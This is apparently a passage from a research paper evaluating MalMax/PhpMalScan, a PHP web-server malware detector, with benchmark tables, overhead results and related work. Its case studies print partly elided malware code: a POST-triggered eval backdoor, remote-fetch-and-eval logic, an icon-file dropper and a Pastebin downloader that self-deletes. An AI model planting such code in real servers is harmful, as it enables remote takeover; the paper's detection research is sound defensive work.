(712,367 files), and 3,986 files were flagged as malware (Fig. 6- 2 ).

Fig. 6- 3 shows the breakdown of samples flagged as malicious
by PhpMalScan and maldet. There are 95 files (Blue) only detected
by maldet, 3,748 files (Red) only identified by PhpMalScan, and
143 files (Black) that are detected by both tools. To investigate
further, we leveraged VirusTotal (VT). Specifically, among the 238
files detected by maldet, we used VT to scan them. It turns out 33



Id maldet backdoorman phpmaldet ClamAV VirusTotal PhpMalScan Id maldet backdoorman phpmaldet ClamAV VirusTotal PhpMalScan

m1 ✓ ✓ ✓ 5 / 54 ✓ ✓ m33 ✓ ✓ ✓ 27 / 54 ✓ ✓

m2 ✓ 2 / 54 ✓ ✓ m34 4 / 52 ✓ ✓

m3 0 / 53 ✓ m35 ✓ 28 / 54 ✓ ✓

m4 ✓ ✓ 0 / 54 ✓ m36 ✓ 33 / 54 ✓

m5 ✓ ✓ ✓ 40 / 54 ✓ ✓ m37 ✓ ✓ 32 / 54 ✓ ✓

m6 ✓ ✓ 3 / 54 ✓ ✓ m38 0 / 54 ✓

m7 ✓ ✓ ✓ ✓ 25 / 54 ✓ ✓ m39 ✓ 8 / 47 ✓ ✓

m8 ✓ ✓ 20 / 54 ✓ ✓ m40 ✓ 20 / 54 ✓ ✓

m9 ✓ ✓ 24 / 54 ✓ ✓ m41 ✓ ✓ 39 / 54 ✓ ✓

m10 ✓ ✓ 21 / 54 ✓ ✓ m42 ✓ ✓ 13 / 54 ✓ ✓

m11 ✓ 24 / 54 ✓ ✓ m43 ✓ 16 / 54 ✓ ✓

m12 ✓ ✓ ✓ 28 / 54 ✓ ✓ m44 ✓ 19 / 53 ✓ ✓

m13 ✓ 31 / 54 ✓ ✓ m45 ✓ ✓ 22 / 52 ✓ ✓

m14 ✓ 9 / 53 ✓ ✓ m46 ✓ ✓ 34 / 54 ✓ ✓

m15 ✓ ✓ ✓ 25 / 53 ✓ ✓ m47 ✓ 6 / 54 ✓ ✓

m16 ✓ 16 / 54 ✓ ✓ m48 ✓ ✓ ✓ 34 / 54 ✓ ✓

m17 ✓ ✓ ✓ 21 / 54 ✓ ✓ m49 ✓ 23 / 54 ✓ ✓

m18 ✓ ✓ 28 / 54 ✓ ✓ m50 ✓ ✓ 29 / 52 ✓ ✓

m19 ✓ ✓ 30 / 54 ✓ ✓ m51 20 / 52 ✓ ✓

m20 ✓ 2 / 54 ✓ ✓ m52 ✓ ✓ 24 / 54 ✓ ✓

m21 ✓ ✓ 16 / 54 ✓ ✓ m53 ✓ ✓ 35 / 53 ✓ ✓

m22 ✓ ✓ ✓ 12/ 53 ✓ ✓ sm1 0 / 54 ✓

m23 ✓ ✓ 19 / 51 ✓ ✓ sm2 0 / 54 ✓

m24 ✓ ✓ 2 / 53 ✓ ✓ sm3 ✓ 0 / 53 ✓

m25 ✓ ✓ 7 / 53 ✓ ✓ sm4 0 / 54 ✓

m26 ✓ ✓ ✓ 14 / 54 ✓ ✓ sm5 0 / 54 ✓

m27 ✓ ✓ ✓ 6 / 53 ✓ ✓ sb1 ✓ ✓ ✓ 0 / 54
m28 ✓ ✓ ✓ 17 / 53 ✓ ✓ sb2 0 / 53
m29 ✓ ✓ ✓ 24 / 54 ✓ ✓ sb3 ✓ 0 / 53
m30 ✓ ✓ 30 / 54 ✓ ✓ sb4 0 / 54
m31 13 / 54 ✓ ✓ sb5 0 / 54
m32 ✓ ✓ 34 / 52 ✓ ✓ Total 32 9 20 40 50 57

Table 2:Malware detection results over themalware benchmark. Shaded ids (i.e., m1∼m53 and sm1∼sm5) aremalware. sb1∼sb5

are benign samples. Red cells and dark gray cells represent false positives and false negatives respectively.

files were not detected by VT and our manual inspection result
shows that they are false positive (Fig. 6- 4 - A ).

VT also recognized 2,406 of PhpMalScan’s 3,891 (3,748 + 143)
detected samples as malware, while not recognizing 1,485 of them
(Fig. 6- 4 - B ). Out of the 2,406 recognized samples, 741 were de-
tected by only 1 engine, while 797 were detected by exactly two
engines. 836 were detected by less than 5 engines, leaving only 32
samples that were discovered by several engines. 65 samples recog-
nized by both maldet and VT were not detected by PhpMalScan.
Our manual inspection on these cases shows that they are malicious
code that either use deprecated PHP features, or are dead code, and
thus are no longer harmful (as they cannot be executed anymore).

Fig. 6- 5 depicts the result of ourmanual sub-sampling and inves-
tigation of malware samples detected by maldet and PhpMalScan,
to obtain false positive rates. We used standard sub-sampling tech-
niques to obtain the number of sub-samples which gives us 95%
confidence with 10% margin of error. Out of the 69 sub-samples
randomly selected and investigated from 238 maldet detections, 11
(16%) were false positives while 58 (84%) were true positives. Out
of the 94 sub-samples randomly selected from 3,891 PhpMalScan
detections, 2 (2.13%) were false positives and 92 (97.87%) were true
positives. The 2 false positives were a program that loads several
external modules from the Internet and run them, and a program
that generates PDF files outside the program directory, respectively.
Malware Types and Distribution: To better understand the samples
detected by VT, we categorize them by their types inferred from
the detected names. Fig. 7 shows the result. Webshell takes the
largest portion (40.45%). The second largest portion is obfuscation
(30.80%) where VT detects the samples because they are obfuscated.
However, as discussed in Section 4.3, benign programs are also
obfuscated in practice, resulting in false positives. Backdoor and

Figure 7: Types of Malware Reported by VirusTotal.
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Agent malware (e.g., lurking in the system for a long time and
delivering future malware or payload) are 14.55% and 10.86% re-
spectively. Others include Spammer (0.91%), Downloader/Uploader
(0.78%), Phishing Webpages (0.57%) and Packed programs (0.41%).
Note that benign programs can be packed, leading to false positives.

4.3 Scanning Malware Samples (Dataset B)

In Section 4.2, we showed that MalMax is highly effective in
analyzing and discovering real-world (unknown) malware in the
wild. However, as we do not have ground-truth on the dataset A,
our experiment does not provide the precision of MalMax (and
PhpMalScan). In this section, we used dataset B, for which we had
ground-truth, to understand the precision of our technique.
4.3.1 Detection Precision. We ran PhpMalScan as well as several
state-of-the-art malware detection tools on our real-world and
synthesized malware benchmark suite. Table 2 provides the results
of evaluating different tools on the benchmark suite. For each tool,
✓ in a light gray cell means malicious behaviors were detected,
where a dark gray cell represents a false negative case (i.e., failed to
detect a malware sample). The table lists all 63 samples including



53 diverse real-world PHP malware (from m1 to m53) and 5 benign
and 5 malicious synthesized samples (from sb1 to sb5 and from sm1
to sm5 respectively). The filenames of samples are omitted due to
the space and can be found on the project website [4]. A perfect
tool would be able to identify the 58 malware in this set. Results
from existing tools are as follows:
• Linux Malware Detector (maldet) flags 31 (53% TP) malware
samples and one benign sample as malicious (red cell, sb1)
which is an obfuscated benign program.
• BackdoorMan only detects 9 programs as malware where 2
of them are false positives (sb1 and sb3). sb3 uses a PHP func-
tion create_function() to create dynamic code and then
execute it, although the dynamic code is not from untrusted
sources (e.g., external inputs), hence not malicious. Back-
doorMan detects dynamically generated code as malicious,
regardless of the internal behavior.
• PHP Malware Finder (phpmaldet) only detects 20 (34% TP)
of the malware in the benchmark.
• ClamAV detects 40 instances recognized as malware, one
of which is a false positive (sb1), resulting in 39 (67% TP)
correct detections. It also flags sb1 as malicious due to the
obfuscation applied to the sample.
• VirusTotal detects 50 (86% TP) of the malware in the set, but
fails to detect one real-world malware (m38)which is a recent
malware we collected from the wild and any of the synthetic
samples as they are not included in virus databases, showing
that signature-based antivirus solutions are less effective in
detecting unknown malware.

PhpMalScan.Wedetected 57 of the 58malware in the benchmark,
with no false positives, in under 20 seconds. There is one malware
(m36) that was not recognized by PhpMalScan. This malware
uses features in the set of weaknesses of our technique,MalMax,
using counterfactually executed branches’ invariants in control flow
decisions dynamically, thereby preventing counterfactual execution
to reach and analyze the malicious behavior within a predefined
timeout. Increasing the timeout can solve the issue, meaning that
it is a limitation of PhpMalScan, not of MalMax.
Observations. First, many malware detectors consider obfusca-
tions as malicious, regardless of the internal behaviors of programs.
Note that obfuscating benign programs is common in practice, used
in thousands of popular PHP libraries as a means of protecting
them against reverse engineering and license tampering [30, 42].

Second, existing tools (particularly signature-based tools) are
not effective at detecting new and/or unknown malware samples.
Specifically, only BackdoorMan detects one synthesized malware
sample as malicious. However, the tool also marked two benign
synthesized samples as malicious, motivating us to develop and
include techniques inMalMax that can precisely detect malware
with sophisticated obfuscation.

4.4 Scanning Benign Applications

We ran various malware detection tools on real-world benign ap-
plications to understand the precision of the tools. Table 3 lists the
statistical features of the applications used in this experiment. Note
that these applications are diverse. Joomla has only 446 include
statements, but has more than 2400 files. To include the 2400 files

using 446 statements, several include statements should be dy-
namic, i.e., they should evaluate an expression and then include it as
a file. Our manual inspection confirms such behavior—the majority
of Joomla files are included using PHP autoloaders [54]. (Although
Joomla has the most Lines of Code (LOC), it has fewer expres-
sions than phpMyAdmin, which has about two thirds of Joomla’s
LOC. Expressions can be a better proxy for functionality in PHP
applications compared to LOC. As for the number of statements,
Wordpress, despite having the least LOC among the four, has the
second most statement count.For the sake of our analysis, which
aims to cover as many execution paths as possible, the number
of branches is of interest. In this regard, Joomla and Wordpress
outweigh the other two by a factor of two.
Results. PhpMalScan does not flag any files as malware when
scanning these benign applications, meaning that it has no false
positives. BackdoorMan and PHP Malware Detector emit hundreds
of false warnings (categorized as suspicious) when scanning these
applications. Specifically, BackdoorMan generates 393, 514, 263, and
688 warnings and PHP Malware Detector emits 251, 1141, 36, and
36 warnings for Wordpress, Joomla, phpMyAdmin, and CakePHP
respectively. Note that thosewarnings are false positives as those ap-
plications are all benign. Moreover, PHP Malware Detector reports
4 malware in Joomla and 2 malware phpMyAdmin respectively.
Name Version LOC Files Statements Expressions Branches Includes

Wordpress 4.2.2 262K 480 58K 469K 17K 678
Joomla 3.5.1 472K 2,477 95K 641K 20K 446
phpMyAdmin 4.6.1 303K 869 38K 724K 10K 1,217
CakePHP 3.0.18 351K 1,805 53K 625K 7K 121

Table 3: Statistical features of applications evaluated.

4.5 Overhead

Runtime Performance. Scanning large real-world applications
such as the ones listed in the tables reveals the performance and
limitations of different tools. Linux Malware Detector spends sig-
nificant time scanning these applications, up to 333 seconds for
Joomla. BackdoorMan also spends significant time scanning these
applications, up to 291 seconds for Joomla. ClamAV, PHP Malware
Finder, and our tool spend less than 30 seconds analyzing Joomla.

maldet backdoorman phpmaldet ClamAV PhpMalScan

Wordpress 88.7 64.4 8.1 21.0 14.8

Joomla 332.9 291.6 24.7 30.2 12.2

phpMyAdmin 177.7 111.0 15.9 25.0 3.0

CakePHP 157.2 214.1 13.9 19.7 5.0

Table 4: Runtime performance of scanning the popular web

applications. All times are in seconds.

As shown in Table 4, PhpMalScan outperforms all other tools
except for PHP Malware Finder on Wordpress, which is about 7
seconds faster. We analyzed that case and discovered that it is
becauseWordpress uses several loops that load its framework based
on the database data, and our tool needs to unwrap most of these
loops while actually fetching new functionality from the database,
which results in a significant slowdown. However, unwrapping
loops is essential in revealing malicious behaviors in real-world
malware, hence, we believe this slowdown is acceptable.
MemoryConsumption.Our prototype typically uses about 200MB
of memory, although at times it can run up to 1 GB due to nesting
isolations caused by the counterfactual execution (Section 3.1). The



other tools typically consume less than 200MB of memory, except
for some antivirus tools that load signature databases into memory
before execution (e.g., ClamAV), which take up to 1 GB. We believe
PhpMalScan (and its underlying infrastructure MalMax) incurs a
reasonable memory overhead in modern computing environments.

4.6 Case Study

We present investigation of two malware samples that are not
detected by VirusTotal.
Sample I: Delivering Payload through BenignWebsite. Fig. 8-
(a) shows the malware in its original form (i.e., obfuscated). Due
to the obfuscation, most AVs in VT fail to detect it. We leverage
MalMax to deobfuscate the malware and the result is shown in
Fig. 8-(b). We use VT to scan the deobfuscated code and 2 AVs detect
it as malware, indicating the obfuscation of the sample successfully
avoids detection. Note that the deobfuscated malware is detected
by only 2 AVs, suggesting the limitation of signature-based tools.

Figure 8: Obfuscated Evasive Malware Sample I.

if (md5($_POST["..."]) === "...") {
// Remote Code Injection
eval(base64_decode($_POST["..."]));

}
// Evasive Trick (5-14)
if (strpos(...) !== false)

$patchedfv = "GHKASMVG";
...
if (md5($_REQUEST['...']) === "...")

$patchedfv = "SDFDFSDF";
...
if ($patchedfv === "GHKASMVG") {

@ob_end_clean();
die;

}
/*
Check whether (1) the client is Windows and 
(2) a targeted victim by comparing cookies 

and server side environment variables
*/
$vkfu = file_get_contents("https://legitimate_url",

false, $context_jhkb);
if ($vkfu) eval($vkfu);
...
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/*435345352*/ error_reporting(0); 
@ini_set('error_log',NULL); @ini_set('log_errors',0); 
@ini_set('display_errors','Off'); @eval( 
base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2F
kMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiY
XNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiA
oc3RycG9z...yAiPHNjcmlwdD5kb2N1bWVudC5jb29raWU9J2NvbmR
0aW9ucz0yOyBwYXRoPS87IGV4cGlyZXM9Ii5kYXRlKCdELCBkLU0tW
SBIOmk6cycsdGltZSgpKzE3MjgwMCkuIiBHTVQ7Jzs8L3NjcmlwdD4
iOyB9IDt9Owp9Cn0K’); ... 
$base = array( 0x00 => 'dit', 'dix', 'di', 'dip', 
'diex', 'die', 'diep', 'dat', 'dax', 'da', 'dap', 
'duox', 'duo', 'dot', 'dox', 'do’, ...);}
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The code has several evasive tricks. First, it calculates an MD5
value from an external input (e.g., $_POST) and onlywhen itmatches
with the hardcoded MD5 value does decode and execute remote
code provided by an attacker 1 . Moreover, Lines 5-15 show that it
checks several environment variables (e.g., $_REQUEST) to identify
the right victim 2 . If those checks are not satisfied, the program
quits without exhibiting malicious behaviors 2 . Later, the malware
also checks whether the client is runningWindows, as well as other
server-side environment checks 3 , and only when the malware
finds the desired environment does it fetch remote code from a
website 3 , decode it, and then execute it 4 .

Note that 2 is particularly interesting. While 2 does not have
any malicious behavior, the program quits if the predicate condition

on line 12 is not satisfied. To satisfy the condition, the predicate
conditions on lines 6 and 9 should be true and false respectively.
We find that requiring such complex conditions makes the analysis
particularly challenging. Fortunately,MalMax explores all possible
paths, discovering the malicious behaviors at 4 . Because of the
obfuscation and evasion tricks ( 2 and 4 ), the hidden malicious
behavior is not exposed in any other existing tools. Existing sandbox
tools that try to execute and observe malicious behaviors fail to
meet the conditions at 1 , 2 and 3 .
Exploit Scenario: From our analysis, we identified a typical exploit
scenario of the sample, illustrated in Fig. 9. First, an attacker may in-
ject the malicious PHP code shown in Fig. 8-(a) to the victim server
via various vulnerabilities ( 1 ). Note that the PHP code does not
contain malicious code in itself. Instead, it connects to a legitimate
website and fetches the data from there. After injecting the PHP
code to the victim server, the attacker visits the benign website and
creates a message that includes an encrypted malicious payload via
the website’s interface such as writing a comment on a post ( 2 ).
Later, the injected PHP code retrieves 3 , decodes and executes
the malicious payload 4 . Note that this sample avoids detection
of various network traffic analysis tools that look for suspicious
IP addresses and URLs delivering malicious payloads. As the sam-
ple gets the payload through a benign website and the payload is
encoded, network-level tools are less effective in detection.

Figure 9: Exploit Scenario of Malware Sample I.
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Sample II: Command&Control via Icon File. Fig. 10-(a) shows
the malware in its original form (i.e., obfuscated). Because it was
obfuscated, VT failed to detect this sample. We leverageMalMax
to deobfuscate the malware and the result is shown in Fig. 10-(b).
The deobfuscated code is flagged as malware by VT (1 AV engine),
indicating the applied obfuscation successfully avoided detection.

The malware has two steps. First, it decodes a malicious base64
encoded payload and writes it to a file named kk.ico. Note that
the decoding (and writing) to a file is common among applications
and is typically used to cache data. Later, the malware includes
that file, executing the deobfuscated code residing in the icon file.
On the deobfuscated version shown in Fig. 10-(b), on Lines 1-14 ( 1 ,
2 , 3 ) the malware downloads new code from 3 Pastebin entries.
Pastebin [51] is a public website for creating temporary texts for
sharing, and, in this case, attackers are using it as a Command &
Control server to send commands to this malware. Finally, on Line
16 ( 4 ), the malware deletes itself to avoid detection.

Note that all three instances of commands received are stored
in publicly available folders of the web application, prefixed by
$DOCUMENT_ROOT environment variable, using legitimate-looking



Figure 10: Obfuscated Evasive Malware Sample II.

$text = http_get('https://pastebin.com/raw/...');
$open = fopen(".../sites.php", 'w');
fwrite($open, $text);
fclose($open);

$text3 = http_get('https://pastebin.com/raw/...');
$op3 = fopen(".../w.php", 'w');
fwrite($op3, $text3);
fclose($op3);

$text7 = http_get('https://pastebin.com/raw/...');
$op7 = fopen(".../themes/index.php", 'w');
fwrite($op7, $text7);
fclose($op7);

@unlink(__FILE__); // delete itself

1
2
3
4
5
6
7
8
9

10
11
12
13
14
15
16

$check = $_SERVER['DOCUMENT_ROOT']."/kk.ico";
$fp = fopen("$check","w+");
fwrite($fp,base64_decode('PD9waHANCmZ1bmN0aW9uIGh0dHBf
Z2V0KCR1cmwpew0KCSRpbSA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdX
JsX...MRV9fKTsNCg0KDQo/Pg=='));
fclose($fp);
include $check;

1
2
3

4
5

(a)	Step	1:	Create	an	Icon	containing	Malicious	Code

(b)	Step	2:	Malware	Disguised	as	an	Icon

2

1

3

4

file names such as themes/index.php, sites/example.local.
sites.php, and w.php.

Existing tools failed to recognize this malware because it does not
contain eval() to run the malicious payload, rather, it puts it in an
icon file and includes that file. Dynamic tools are also likely to fail
because the dynamically generated icon file only sends three HTTP
requests and writes three files, without running any malicious code.
Behavioral analysis is needed to recognize content is read from the
Internet and then wrote as PHP files on the web server.MalMax
recognizes such orchestration as malware by connecting those
individually not malicious but collectively malicious behaviors.

5 DISCUSSION AND LIMITATIONS

Evading PhpMalScan. In essence, the two thresholds used by
PhpMalScan to detect malware are complementary. One is used to
detect malware that performs pervasive malicious behavior, while
the other is used to detect surgical but short malicious behavior
injected in a benign file. Although it is technically possible for an
adversary who knows the internal thresholds (i.e., PMFR and MS)
to bypass them, it is still difficult to design a malware that is neither
pervasive nor exhibits enough malicious behavior.

Conditional-dependent malware uses encryption to obfuscate
its payload, and uses the exact combination of inputs required to
reach the malicious branch as the decryption key [62]. MalMax is
not able to handle such malware. However, they are rare in practice.
We observed one instance in our experiments (m36 in Dataset B).
State-Explosion. To avoid state-explosion,MalMax relies on con-
crete executions. Still, there is a concern of state-explosion because
MalMax shares global artifacts between isolated executions. How-
ever, each time an artifact is shared, MalMax creates a new exe-
cution with its own isolated state, effectively turning a potential
state-explosion problem into a path-explosion problem.
Path-Explosion. There are two sources of path-explosion. First,
loops that run for many iterations or indefinitely are the most sig-
nificant source of path-explosion. MalMax mitigates this problem
via control flow trimming (Details in Section 3.1). Second, a large
number of branches within the program can cause path-explosion.
Wordpress for example, has a total of 25,578 if branches and 1,254
switch branches, while Joomla has 22,679 and 2,157 respectively.

Also, this problem can be compounded by artifact sharing via co-
operative isolated executions, as each shared artifact creates an
additional isolated execution.

However, artifacts are shared on-demand, only when they are
not available (e.g., undefined) in the current isolation. Importantly,
in practice, because of incorrect execution contexts caused by the
sharing, additional isolated executions created by artifact sharing
often crash quickly. We observed that the number of paths does
not grow exponentially during our evaluation.
Infeasible Paths and Incorrect ProgramStates.MalMaxmight
exercise infeasible paths because it enters every branch it encoun-
ters. Execution of infeasible paths can result in incorrect program
states, potentially leading to false positives and false negatives.
Moreover, artifacts shared from an infeasible path can create new
isolated executions with incorrect program states, compounding
the problem. Although new isolations with incorrect states created
as a result of infeasible paths may cause a false positive, because
they do not affect any isolation with correct state, they do not result
in a false negative. As for false positives, we manually verified all
false positive cases in Fig. 6, and none were due to infeasible paths
and incorrect states.
Sensitivity of Maliciousness Score. To understand the impor-
tance of maliciousness score and the consequences of changing the
scores, we performed a sensitivity analysis by setting the malicious-
ness score of all explicitly sandboxed functions to 1, regardless of
their input arguments. The sensitivity analysis shows that without
this fine-grained scoring, we miss an additional 176 detected mal-
ware samples (4.5% additional false negatives) as well as incorrectly
flag 73 benign files (1.8% additional false positives).
Newly IdentifiedMalware Samples byMalMax. PhpMalScan
identified additional 1,485 malware samples in Dataset A that are
not detected by the 70 antivirus scanners in VirusTotal. While some
of these 1,485 malware samples may be previously unknown mal-
ware, definitive determination of whether any of them have never
previously been seen is beyond the scope of this work.

6 RELATEDWORK

Malicious Payload/Behavior Discovery. A sizable group of re-
lated work focuses on discovering malicious payloads on servers
by investigating their client-side HTML and Javascript output [5, 9,
15, 29, 34, 56, 63]. However, they may not reveal the existence of
malware on a server reliably. Malware that can recognize detection
attempts do not emit full behavior to the client [15].

Starov et al. extend a vulnerability analysis engine for PHP pro-
gram [22] to discover and quantify features of a PHP webshell
dataset [65]. They mark functions of interest as potential sources of
vulnerability and rely on manual code auditing to verify extracted
features. Regarding webshells, our analysis results echo their find-
ings. However, while [65] focuses on webshells, MalMax deals
with diverse types of malware that are heavily obfuscated and in-
jected into complex benign applications. In fact, many of malware
found by MalMax are implanted into the benign applications, and
leverage Object-Oriented Programming (OOP) features and mul-
tiple functions to carry out the attacks. The webshells that Starov
et al. analyze were comparably simple (i.e., no OOP features and
inter-procedure malicious code, mentioned in [65]). Moreover, [65]
relies on unPHP [69] for deobfuscation of malware, which fails to



deobfuscate about 40% of their samples [65]. During our evaluation,
MalMax handles samples that unPHP failed to deobfuscate.

There has been a line of research that focuses on discovering
malicious behavior in binaries, in contrast with dynamic scripted
code. Binaries are limited in their dynamic behavior and need to be
coupled with significant code that enables them to modify them-
selves, enabling polymorphic or metamorphic malware. Thus, many
of these works focus on finding the polymorphic behavior, which
is rare in binaries, rather than the actual malicious behavior, which
is hard to pinpoint due to the very wide range and functionality of
binary applications [7, 17, 47]. Several works focus on discovering
desktop malware such as ransomware, by sandboxing and observ-
ing their interactions with the operating system. They are related to
ours in the approach they take, but they focus on binaries [35, 61].

Graziano et al. [24] propose a machine learning-based approach
that predicts malicious behavior. Their work is complementary to
our approach and can be used to increase the accuracy of our work,
especially when detecting introspective malware that is aware of
its environment. There have also been many works on malware
clustering, i.e., finding similarities between malware and detect-
ing malware families [26]. Some tools focus on finding the decryp-
tion/deobfuscation code block and consider that malicious behavior,
regardless of the obfuscated activity [17, 18, 34]. Such tools result
in high false positive rates because many legitimate applications
obfuscate their code for digital rights and security reasons. Many
sizable applications such as Wordpress use libraries that use obfus-
cation for benign purposes. For example, the work by [19] uses a
PDF Javascript emulator to emulate one dynamic trace of poten-
tially malicious PDF files, and then mostly seeks decoding behavior
rather than explicitly malicious behavior.
Counterfactual Execution. In the realm of binary programs,
Moser [47] uses counterfactual execution as a means to discover
hidden behavior. However, their work does not heavily rely on coun-
terfactual execution as binaries under investigation crash too fre-
quently. Instead, they focus on solving linear equations via solvers.

Limbo [73] features a forced sampled execution approach to
detect kernel rootkits. It traverses a driver’s control flow graph
(CFG), and ensures that basic blocks in the CFG are executed at
least once, but no more than N (predefined) times. It may miss
executions of frequently executed basic blocks (e.g., blocks in a
library function).MalMax does not limit the number of executions
of each basic block, except for the loops/recursive calls where we
dynamically adjust the threshold via control flow trimming.

Peng et al. advance counterfactual execution on binaries by pro-
viding better error recovery and path expansion algorithms [52].

Rozzle [37] and GoldenEye [78] provide a similar approach to
counterfactual execution, focusing on discovery of environment
targeted malware. In particular, Rozzle [37] explores multiple exe-
cution paths by executing both possibilities whenever it encounters
a branch that depends on the environment (e.g., for environment
matching or fingerprinting). However, malware that does not rely
on control flow branches can evade Rozzle [34].

For example, a typical server-side malware injected into a plugin
of a benign application (e.g., Joomla) will be activated by a statement
load_plugin($config[‘plugins’][...]) where $config is
a global variable that determines what plugin should be loaded.
The malware may or may not be executed depending on $config.

As there are no branches involved, Rozzle would fail to detect this
malware, and no weak updates are performed (they are only per-
formed under branches). Cooperative isolated execution handles
this case by sharing the global variable $config between isolated
executions (Details in Section 3.2). In addition, PHP malware are of-
ten injected into complex benign programs, which cause scalability
issues for approaches that use symbolic execution [37, 79].

J-Force [36] also uses a similar method to analyze JavaScript (JS)
malware which frequently leverages user events such as mouse
clicks to hide malicious behaviors. In contrast, MalMax focuses
on handling server-side specific evasive techniques such as heavy
obfuscations and plugins architectures (Section 2). NAVEX uses a
similar approach to counterfactual execution to discover vulnera-
bilities in web applications [2]. However, NAVEX is rooted in static
analysis, resulting in evasion by many metamorphic malware. The
most closely related research to our work uses runkit [68], a PHP
extension that allows overriding functions and operators, to create
a sandbox in PHP, and evaluates one dynamic path of an appli-
cation while checking for the presence of potentially malicious
functions [76]. Finally, we note that static PHP analyzers such as
Pixy and RIPS [22, 32] are unable to fully uncloak dynamic malware
as they do not employ counterfactual execution.
Network Traffic based Analysis. Another group of research
tries to detect malware from network traffic and other external
behavior, via honeypots, IDS and firewalls [3, 11]. We do not in-
spect network traffic. Chang et al. summarize different methods
for defending against web malware into three categories, finding
malicious servers via client-side HTML, finding malicious servers
by discovering vulnerable web applications, and protecting clients
from malicious servers [13]. The second category enables discov-
ery of servers that are susceptible to infection, but none of the
categories discover malware on a server.

7 CONCLUSION

In this paper, we highlight the challenges associated with detect-
ing dynamic web server malware. We presentMalMax, a system
capable of systematically exploring dynamic program behavior
using a combination of counterfactual execution and cooperative
isolated execution. Our evaluation on a set of real-world malware
samples demonstrates thatMalMax is highly effective in accurately
detecting sophisticated malware where other state-of-the-art tools
have low detection rates and high false positive rates for our mal-
ware dataset (Dataset B). Moreover, our large scale evaluation shows
that MalMax can accurately identify in-the-wild polymorphic and
metamorphic malware. We exclusively identify 1,485 malware sam-
ples that are not detected by any existing state-of-the-art tools
despite their being in the wild for over 7 months.
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APPENDIX

A BEHAVIORAL ANALYSIS

Table 5 lists the most common potentially malicious functions
called by the malware samples, and their prevalence among the
malware samples. As apparent from the table, deobfuscation func-
tions (e.g., base64_decode, unpack, gzinflate), system and in-
terpreter inspection and modification functions (e.g., ini_set,
php_uname, set_time_limit), program execution functions (e.g.,
shell_exec, exec, system) and file system functions (e.g., file_
get_contents, fopen, mkdir, unlink) form the majority of these
functions. Two outliers are dl, which is used to load a dynamic
library, and mail, which can be used to send email, are also among
the top 20 frequently used potentially malicious functions.

Table 5: Most frequently used potentially malicious func-

tions and their prevalence in the Dataset A.

Function Count Function Count

ini_set 3888 fopen-write 84
file_get_contents 3788 gethostbyaddr 82
base64_decode 1892 system 82
php_uname 511 getcwd 76
dl 470 curl_init 70
fopen 231 curl_exec 70
mkdir 134 shell_exec 40
set_time_limit 127 gzinflate 24
mail 110 unpack 23
unlink 96 exec 22

A.1 File Extensions in the Dataset A (1 TB of

Real-world Websites)

In Section 4.2, we use a large corpus of 87 real-world infected
websites consisting of 3,225,403 files (approximately 1 TB). The
dataset includes various malware in the wild which show how
MalMax can perform against realistic advanced malware. We fur-
ther analyze file types in the dataset and their distributions by file
extensions.

Figure 11: Dataset Breakdown: File Extensions
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Fig. 11 shows the composition of file extensions in the dataset.
The top 10 file extensions are php, json, png, bin, js, jpg, css,
svg, html, and gif.

A.2 PhpMalScan Analysis Result Details (MS

and PMFR values)

Fig. 12 shows PMFR and MS values for the 53 malware samples
and 10 synthesized samples. To make it easier to interpret, the
figure has multiplied the PMFR values by 4. Note that PhpMalScan
detects a sample as malware if PMFR value is higher than 5%. As it
is multiplied by 4 in the graph, PhpMalScan detects a sample as
malware if its PMFR or MS value in Fig. 12 is higher than 20. Note
that there is only one malware sample, m36, that PhpMalScan was
unable to detect. Both MS and PMFR are 0 in this case, implying
that our tool has been unable to uncover any malicious behavior.
Observations. First, a benign program may have a non-zero ma-
liciousness score (e.g., sb1 to sb5 in Fig. 12) because they emit
suspicious behavior such as sending an email. If a benign program
employs suspicious behavior in its majority and pervasively, the
maliciousness score can go beyond the threshold and cause a false
positive. However, it essentially means that the program does not
do any particular other tasks except for suspicious tasks, which is
rare in practice. Second, we find the combination of PMFR and MS
is effective in detecting malware because one has a better capability
in finding small, malicious programs while the other has a better
capability in finding large malware that has a specific malicious
segment. Specifically, for the malicious synthetic examples (sm1
to sm5), they either have a high PMFR score (sm1, sm3, sm4), or a
high MS value (sm2, sm5). In the case of sm1, which is a bruteforcer
attempting to extract the database server’s root password, the ma-
jority of activity is suspicious (i.e., looping over a dictionary of
passwords, trying each one in connecting to the database), and thus
it is marked as malicious. Attempting to connect to the database can
be benign on its own, but persisting on such attempts, especially
when it is accompanied by failure, can be deemed malicious. Also,
in the case of sm5 which is a spammer that uses a loop to send
hundreds of spam emails, there are no malicious functions (note
that mail() is benign but its repetition can be malicious, thus we
increase maliciousness score by 1 for each invocation). Since most
executed statements are the mail(), it is marked as malicious due
to the high MS value (i.e., 101).

B MULTI-ASPECT EXECUTION DETAILS

Counterfactual execution, multi-path execution [14], and forced
execution [23, 36, 53] share the same idea of forcibly exploring pos-
sible execution paths to cover as much code as possible.MalMax
is closer to forced execution techniques than multi-path execution
techniques as it forcibly drives execution into a branch even if the
branch condition is not satisfied. However, MalMax is different
from multi-path execution and forced execution in thatMalMax
shares global artifacts (e.g., global variables, function/class/constant
definitions, etc.) between the isolated execution environments to
discover new dynamically generated code, particularly those cre-
ated via constructs such as eval and include that are commonly
used in PHP applications.
Algorithm. Alg. 1 provides a high-level algorithm of MalMax’s
analysis including counterfactual execution (Section 3.1, Lines 3-6)
and global resource sharing in cooperative isolated execution (Sec-
tion 3.2, Lines 7-14). Exercise is the core of MalMax that explores
and discovers program code and execution states. It has two inputs:



Figure 12: PMFR and MS values from the Dataset A. We scale PMFR values by multiplying the values by 4 (5% threshold is at

20% in this graph). The red line essentially shows the threshold for both PMFR and MS.
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Algorithm 1: High-level Algorithm of MalMax
1 procedure Exercise( IsolatedExec CurIE, BasicBlock BB )
2 for each instruction i ∈ BB do

3 if i is a Branch Instruction then

4 Exercise( CurIE, i.Taken-Branch )
5 NewIE← CreateIsolatedExecution( i.Not-Taken-Branch )
6 Exercise( NewIE, i.Not-Taken-Branch )
7 if i contains unresolved artifacts UA then

8 for each unresolved artifact ua ∈ UA do

9 for each isolated execution IE ∈ all isolated executions do
10 RA← RA

⋃
SearchGlobalArtifact( IE, ua )

11 for each resolved artifact ra ∈ RA do

12 NewIE← CreateIsolatedExecution( BB )
13 UpdateIsolatedExecution( NewIE, ra )
14 Exercise( NewIE, BB )

15 Analyze( CurIE, i )

